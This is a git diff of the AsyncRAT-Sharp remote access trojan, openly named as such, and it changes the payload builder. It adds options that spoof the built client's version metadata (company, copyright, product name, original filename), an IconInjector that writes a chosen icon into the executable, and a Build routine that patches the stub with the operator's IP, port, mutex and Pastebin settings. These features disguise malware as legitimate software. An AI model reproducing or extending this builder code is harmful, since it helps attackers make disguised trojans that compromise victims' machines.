System.EventHandler(this.ChkIcon_CheckedChanged); + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(11, 89); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(42, 20); + this.label15.TabIndex = 7; + this.label15.Text = "Path"; + // + // txtIcon + // + this.txtIcon.Enabled = false; + this.txtIcon.Location = new System.Drawing.Point(15, 122); + this.txtIcon.Name = "txtIcon"; + this.txtIcon.Size = new System.Drawing.Size(417, 26); + this.txtIcon.TabIndex = 6; + // + // btnIcon + // + this.btnIcon.Enabled = false; + this.btnIcon.Location = new System.Drawing.Point(456, 122); + this.btnIcon.Name = "btnIcon"; + this.btnIcon.Size = new System.Drawing.Size(60, 26); + this.btnIcon.TabIndex = 5; + this.btnIcon.Text = " "; + this.btnIcon.UseVisualStyleBackColor = true; + this.btnIcon.Click += new System.EventHandler(this.BtnIcon_Click); + // + // picIcon + // + this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.picIcon.ErrorImage = null; + this.picIcon.InitialImage = null; + this.picIcon.Location = new System.Drawing.Point(15, 171); + this.picIcon.Name = "picIcon"; + this.picIcon.Size = new System.Drawing.Size(128, 128); + this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.picIcon.TabIndex = 4; + this.picIcon.TabStop = false; + // + // tabPage6 + // + this.tabPage6.Controls.Add(this.btnBuild); + this.tabPage6.Location = new System.Drawing.Point(4, 29); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Padding = new System.Windows.Forms.Padding(3); + this.tabPage6.Size = new System.Drawing.Size(575, 440); + this.tabPage6.TabIndex = 5; + this.tabPage6.Text = "Build"; + this.tabPage6.UseVisualStyleBackColor = true; + // + // btnBuild + // + this.btnBuild.Location = new System.Drawing.Point(18, 196); + this.btnBuild.Name = "btnBuild"; + this.btnBuild.Size = new System.Drawing.Size(539, 49); + this.btnBuild.TabIndex = 1; + this.btnBuild.Text = "Build"; + this.btnBuild.UseVisualStyleBackColor = true; + this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); + // + // txtPastebin + // + this.txtPastebin.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Pastebin", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtPastebin.Enabled = false; + this.txtPastebin.Location = new System.Drawing.Point(106, 352); + this.txtPastebin.Name = "txtPastebin"; + this.txtPastebin.Size = new System.Drawing.Size(271, 26); + this.txtPastebin.TabIndex = 8; + this.txtPastebin.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Pastebin; + this.toolTip1.SetToolTip(this.txtPastebin, "IP:PORT .. Example 127.0.0.1:6606"); + // + // textFilename + // + this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.textFilename.Enabled = false; + this.textFilename.Location = new System.Drawing.Point(103, 92); + this.textFilename.Name = "textFilename"; + this.textFilename.Size = new System.Drawing.Size(271, 26); + this.textFilename.TabIndex = 5; + this.textFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Filename; + // + // txtMutex + // + this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtMutex.Location = new System.Drawing.Point(106, 165); + this.txtMutex.Name = "txtMutex"; + this.txtMutex.Size = new System.Drawing.Size(271, 26); + this.txtMutex.TabIndex = 11; + this.txtMutex.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.Mutex; + // + // txtFileVersion + // + this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtFileVersion.Enabled = false; + this.txtFileVersion.Location = new System.Drawing.Point(159, 368); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(337, 26); + this.txtFileVersion.TabIndex = 19; + this.txtFileVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtFileVersion; + // + // txtProductVersion + // + this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtProductVersion.Enabled = false; + this.txtProductVersion.Location = new System.Drawing.Point(159, 325); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(337, 26); + this.txtProductVersion.TabIndex = 18; + this.txtProductVersion.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtProductVersion; + // + // txtOriginalFilename + // + this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtOriginalFilename.Enabled = false; + this.txtOriginalFilename.Location = new System.Drawing.Point(159, 280); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(337, 26); + this.txtOriginalFilename.TabIndex = 17; + this.txtOriginalFilename.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtOriginalFilename; + // + // txtTrademarks + // + this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtTrademarks.Enabled = false; + this.txtTrademarks.Location = new System.Drawing.Point(159, 237); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(337, 26); + this.txtTrademarks.TabIndex = 16; + this.txtTrademarks.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtTrademarks; + // + // txtCopyright + // + this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtCopyright.Enabled = false; + this.txtCopyright.Location = new System.Drawing.Point(159, 198); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(337, 26); + this.txtCopyright.TabIndex = 15; + this.txtCopyright.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCopyright; + // + // txtCompany + // + this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtCompany.Enabled = false; + this.txtCompany.Location = new System.Drawing.Point(159, 155); + this.txtCompany.Name = "txtCompany"; + this.txtCompany.Size = new System.Drawing.Size(337, 26); + this.txtCompany.TabIndex = 14; + this.txtCompany.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtCompany; + // + // txtDescription + // + this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtDescription.Enabled = false; + this.txtDescription.Location = new System.Drawing.Point(159, 112); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(337, 26); + this.txtDescription.TabIndex = 7; + this.txtDescription.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.txtDescription; + // + // txtProduct + // + this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); + this.txtProduct.Enabled = false; + this.txtProduct.Location = new System.Drawing.Point(159, 69); + this.txtProduct.Name = "txtProduct"; + this.txtProduct.Size = new System.Drawing.Size(337, 26); + this.txtProduct.TabIndex = 5; + this.txtProduct.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.ProductName; + // // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(580, 445); + this.ClientSize = new System.Drawing.Size(607, 497); this.Controls.Add(this.tabControl1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormBuilder"; @@ -425,13 +750,19 @@ namespace AsyncRAT_Sharp.Forms this.tabPage1.ResumeLayout(false); this.tabPage2.ResumeLayout(false); this.tabPage3.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.groupBox4.ResumeLayout(false); + this.groupBox4.PerformLayout(); + this.tabPage5.ResumeLayout(false); + this.groupBox5.ResumeLayout(false); + this.groupBox5.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit(); + this.tabPage6.ResumeLayout(false); this.ResumeLayout(false); } #endregion - - private System.Windows.Forms.Button button1; private System.Windows.Forms.GroupBox groupBox1; private System.Windows.Forms.Label label2; private System.Windows.Forms.GroupBox groupBox2; @@ -463,5 +794,33 @@ namespace AsyncRAT_Sharp.Forms private System.Windows.Forms.ListBox listBoxIP; private System.Windows.Forms.TextBox textIP; private System.Windows.Forms.Label label1; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.GroupBox groupBox4; + private System.Windows.Forms.TextBox txtFileVersion; + private System.Windows.Forms.TextBox txtProductVersion; + private System.Windows.Forms.TextBox txtOriginalFilename; + private System.Windows.Forms.TextBox txtTrademarks; + private System.Windows.Forms.TextBox txtCopyright; + private System.Windows.Forms.TextBox txtCompany; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox txtDescription; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.TextBox txtProduct; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.GroupBox groupBox5; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtIcon; + private System.Windows.Forms.Button btnIcon; + private System.Windows.Forms.PictureBox picIcon; + private System.Windows.Forms.CheckBox chkIcon; + private System.Windows.Forms.CheckBox btnAssembly; + private System.Windows.Forms.TabPage tabPage6; + private System.Windows.Forms.Button btnBuild; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 8a010ec..32dab2e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -8,6 +8,8 @@ using System.Security.Cryptography; using AsyncRAT_Sharp.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; +using Vestris.ResourceLib; +using System.Drawing; namespace AsyncRAT_Sharp.Forms { @@ -18,54 +20,6 @@ namespace AsyncRAT_Sharp.Forms InitializeComponent(); } - private void button1_Click(object sender, EventArgs e) - { - if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return; - - if (checkBox1.Checked) - { - if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return; - if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; - } - - if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(20); - - if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return; - - try - { - using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe")) - { - WriteSettings(asmDef); - - Renamer r = new Renamer(asmDef); - - if (!r.Perform()) - throw new Exception("renaming failed"); - - using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) - { - saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; - saveFileDialog1.InitialDirectory = Application.StartupPath; - saveFileDialog1.OverwritePrompt = false; - saveFileDialog1.FileName = "Client"; - if (saveFileDialog1.ShowDialog() == DialogResult.OK) - { - r.AsmDef.Write(saveFileDialog1.FileName); - MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); - SaveSettings(); - r.AsmDef.Dispose(); - this.Close(); - } - } - } - } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - } - private void SaveSettings() { try @@ -236,7 +190,6 @@ namespace AsyncRAT_Sharp.Forms } } } - } private void CheckBox2_CheckedChanged(object sender, EventArgs e) @@ -314,5 +267,149 @@ namespace AsyncRAT_Sharp.Forms } catch { } } + + private void BtnBuild_Click(object sender, EventArgs e) + { + if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return; + + if (checkBox1.Checked) + { + if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return; + if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; + } + + if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(20); + + if (chkPastebin.Checked && string.IsNullOrWhiteSpace(txtPastebin.Text)) return; + + try + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe")) + { + WriteSettings(asmDef); + + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) + { + saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; + saveFileDialog1.InitialDirectory = Application.StartupPath; + saveFileDialog1.OverwritePrompt = false; + saveFileDialog1.FileName = "Client"; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + r.AsmDef.Write(saveFileDialog1.FileName); + r.AsmDef.Dispose(); + if (btnAssembly.Checked) + { + WriteAssembly(saveFileDialog1.FileName); + } + if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) + { + IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text); + } + MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); + SaveSettings(); + this.Close(); + } + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void WriteAssembly(string filename) + { + try + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(filename); + + versionResource.FileVersion = txtFileVersion.Text; + versionResource.ProductVersion = txtProductVersion.Text; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"]; + stringFileInfo["ProductName"] = txtProduct.Text; + stringFileInfo["FileDescription"] = txtDescription.Text; + stringFileInfo["CompanyName"] = txtCompany.Text; + stringFileInfo["LegalCopyright"] = txtCopyright.Text; + stringFileInfo["LegalTrademarks"] = txtTrademarks.Text; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = txtOriginalFilename.Text; + stringFileInfo["OriginalFilename"] = txtOriginalFilename.Text; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + + versionResource.SaveTo(filename); + } + catch (Exception ex) + { + throw new ArgumentException("Assembly: " + ex.Message); + } + } + + private void BtnAssembly_CheckedChanged(object sender, EventArgs e) + { + if (btnAssembly.Checked) + { + txtProduct.Enabled = true; + txtDescription.Enabled = true; + txtCompany.Enabled = true; + txtCopyright.Enabled = true; + txtTrademarks.Enabled = true; + txtOriginalFilename.Enabled = true; + txtOriginalFilename.Enabled = true; + txtProductVersion.Enabled = true; + txtFileVersion.Enabled = true; + } + else + { + txtProduct.Enabled = false; + txtDescription.Enabled = false; + txtCompany.Enabled = false; + txtCopyright.Enabled = false; + txtTrademarks.Enabled = false; + txtOriginalFilename.Enabled = false; + txtOriginalFilename.Enabled = false; + txtProductVersion.Enabled = false; + txtFileVersion.Enabled = false; + } + } + + private void ChkIcon_CheckedChanged(object sender, EventArgs e) + { + if (chkIcon.Checked) + { + txtIcon.Enabled = true; + btnIcon.Enabled = true; + } + else + { + txtIcon.Enabled = false; + btnIcon.Enabled = false; + } + } + + private void BtnIcon_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Title = "Choose Icon"; + ofd.Filter = "Icons *.ico|*.ico"; + ofd.Multiselect = false; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtIcon.Text = ofd.FileName; + picIcon.ImageLocation = ofd.FileName; + } + } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs new file mode 100644 index 0000000..c20897c --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/IconInjector.cs @@ -0,0 +1,237 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; + + +namespace AsyncRAT_Sharp.Helper +{ + public static class IconInjector + { + // Basically, you can change icons with the UpdateResource api call. + // When you make the call you say "I'm updating an icon", and you send the icon data. + // The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in + // another set of structures. So you have to translate between the two -- you can't just load the ICO file as + // bytes and send them with the UpdateResource api call. + + [SuppressUnmanagedCodeSecurity()] + private class NativeMethods + { + [DllImport("kernel32")] + public static extern IntPtr BeginUpdateResource(string fileName, + [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources); + + [DllImport("kernel32")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, + [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize); + + [DllImport("kernel32")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard); + } + + // The first structure in an ICO file lets us know how many images are in the file. + [StructLayout(LayoutKind.Sequential)] + private struct ICONDIR + { + // Reserved, must be 0 + public ushort Reserved; + // Resource type, 1 for icons. + public ushort Type; + // How many images. + public ushort Count; + // The native structure has an array of ICONDIRENTRYs as a final field. + } + + // Each ICONDIRENTRY describes one icon stored in the ico file. The offset says where the icon image data + // starts in the file. The other fields give the information required to turn that image data into a valid + // bitmap. + [StructLayout(LayoutKind.Sequential)] + private struct ICONDIRENTRY + { + /// + /// The width, in pixels, of the image. + /// + public byte Width; + /// + /// The height, in pixels, of the image. + /// + public byte Height; + /// + /// The number of colors in the image; (0 if >= 8bpp) + /// + public byte ColorCount; + /// + /// Reserved (must be 0). + /// + public byte Reserved; + /// + /// Color planes. + /// + public ushort Planes; + /// + /// Bits per pixel. + /// + public ushort BitCount; + /// + /// The length, in bytes, of the pixel data. + /// + public int BytesInRes; + /// + /// The offset in the file where the pixel data starts. + /// + public int ImageOffset; + } + + // Each image is stored in the file as an ICONIMAGE structure: + //typdef struct + //{ + // BITMAPINFOHEADER icHeader; // DIB header + // RGBQUAD icColors[1]; // Color table + // BYTE icXOR[1]; // DIB bits for XOR mask + // BYTE icAND[1]; // DIB bits for AND mask + //} ICONIMAGE, *LPICONIMAGE; + + + [StructLayout(LayoutKind.Sequential)] + private struct BITMAPINFOHEADER + { + public uint Size; + public int Width; + public int Height; + public ushort Planes; + public ushort BitCount; + public uint Compression; + public uint SizeImage; + public int XPelsPerMeter; + public int YPelsPerMeter; + public uint ClrUsed; + public uint ClrImportant; + } + + // The icon in an exe/dll file is stored in a very similar structure: + [StructLayout(LayoutKind.Sequential, Pack = 2)] + private struct GRPICONDIRENTRY + { + public byte Width; + public byte Height; + public byte ColorCount; + public byte Reserved; + public ushort Planes; + public ushort BitCount; + public int BytesInRes; + public ushort ID; + } + + public static void InjectIcon(string exeFileName, string iconFileName) + { + InjectIcon(exeFileName, iconFileName, 1, 1); + } + + public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID) + { + const uint RT_ICON = 3u; + const uint RT_GROUP_ICON = 14u; + IconFile iconFile = IconFile.FromFile(iconFileName); + var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false); + var data = iconFile.CreateIconGroupData(iconBaseID); + NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data, + data.Length); + for (int i = 0; i <= iconFile.ImageCount - 1; i++) + { + var image = iconFile.ImageData(i); + NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image, + image.Length); + } + NativeMethods.EndUpdateResource(hUpdate, false); + } + + private class IconFile + { + private ICONDIR iconDir = new ICONDIR(); + private ICONDIRENTRY[] iconEntry; + + private byte[][] iconImage; + + public int ImageCount + { + get { return iconDir.Count; } + } + + public byte[] ImageData(int index) + { + return iconImage[index]; + } + + public static IconFile FromFile(string filename) + { + IconFile instance = new IconFile(); + // Read all the bytes from the file. + byte[] fileBytes = System.IO.File.ReadAllBytes(filename); + // First struct is an ICONDIR + // Pin the bytes from the file in memory so that we can read them. + // If we didn't pin them then they could move around (e.g. when the + // garbage collector compacts the heap) + GCHandle pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned); + // Read the ICONDIR + instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR)); + // which tells us how many images are in the ico file. For each image, there's a ICONDIRENTRY, and associated pixel data. + instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count]; + instance.iconImage = new byte[instance.iconDir.Count][]; + // The first ICONDIRENTRY will be immediately after the ICONDIR, so the offset to it is the size of ICONDIR + int offset = Marshal.SizeOf(instance.iconDir); + // After reading an ICONDIRENTRY we step forward by the size of an ICONDIRENTRY + var iconDirEntryType = typeof(ICONDIRENTRY); + var size = Marshal.SizeOf(iconDirEntryType); + for (int i = 0; i <= instance.iconDir.Count - 1; i++) + { + // Grab the structure. + var entry = + (ICONDIRENTRY) + Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset), + iconDirEntryType); + instance.iconEntry[i] = entry; + // Grab the associated pixel data. + instance.iconImage[i] = new byte[entry.BytesInRes]; + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes); + offset += size; + } + pinnedBytes.Free(); + return instance; + } + + public byte[] CreateIconGroupData(uint iconBaseID) + { + // This will store the memory version of the icon. + int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) + + Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount; + byte[] data = new byte[sizeOfIconGroupData]; + var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned); + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false); + var offset = Marshal.SizeOf(iconDir); + for (int i = 0; i <= ImageCount - 1; i++) + { + GRPICONDIRENTRY grpEntry = new GRPICONDIRENTRY(); + BITMAPINFOHEADER bitmapheader = new BITMAPINFOHEADER(); + var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned); + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(), + Marshal.SizeOf(typeof(BITMAPINFOHEADER))); + pinnedBitmapInfoHeader.Free(); + grpEntry.Width = iconEntry[i].Width; + grpEntry.Height = iconEntry[i].Height; + grpEntry.ColorCount = iconEntry[i].ColorCount; + grpEntry.Reserved = iconEntry[i].Reserved; + grpEntry.Planes = bitmapheader.Planes; + grpEntry.BitCount = bitmapheader.BitCount; + grpEntry.BytesInRes = iconEntry[i].BytesInRes; + grpEntry.ID = Convert.ToUInt16(iconBaseID + i); + Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset), + false); + offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY)); + } + pinnedData.Free(); + return data; + } + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs index 3bba787..3277dd5 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.Designer.cs @@ -12,7 +12,7 @@ namespace AsyncRAT_Sharp.Properties { [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.1.0.0")] internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); @@ -94,5 +94,101 @@ namespace AsyncRAT_Sharp.Properties { this["IP"] = value; } } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string ProductName { + get { + return ((string)(this["ProductName"])); + } + set { + this["ProductName"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string txtDescription { + get { + return ((string)(this["txtDescription"])); + } + set { + this["txtDescription"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string txtCompany { + get { + return ((string)(this["txtCompany"])); + } + set { + this["txtCompany"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string txtCopyright { + get { + return ((string)(this["txtCopyright"])); + } + set { + this["txtCopyright"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string txtTrademarks { + get { + return ((string)(this["txtTrademarks"])); + } + set { + this["txtTrademarks"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("")] + public string txtOriginalFilename { + get { + return ((string)(this["txtOriginalFilename"])); + } + set { + this["txtOriginalFilename"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("0.0.0.0")] + public string txtProductVersion { + get { + return ((string)(this["txtProductVersion"])); + } + set { + this["txtProductVersion"] = value; + } + } + + [global::System.Configuration.UserScopedSettingAttribute()] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Configuration.DefaultSettingValueAttribute("0.0.0.0")] + public string txtFileVersion { + get { + return ((string)(this["txtFileVersion"])); + } + set { + this["txtFileVersion"] = value; + } + } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings index f5f5326..1745587 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Settings.settings @@ -20,5 +20,29 @@ + + + + + + + + + + + + + + + + + + + + 0.0.0.0 + + + 0.0.0.0 + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config index 1c149b7..d669d81 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config @@ -28,6 +28,30 @@ + + + + + + + + + + + + + + + + + + + + 0.0.0.0 + + + 0.0.0.0 + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config b/AsyncRAT-C#/AsyncRAT-Sharp/packages.config index f0824a4..9009c9b 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/packages.config @@ -2,4 +2,5 @@ + \ No newline at end of file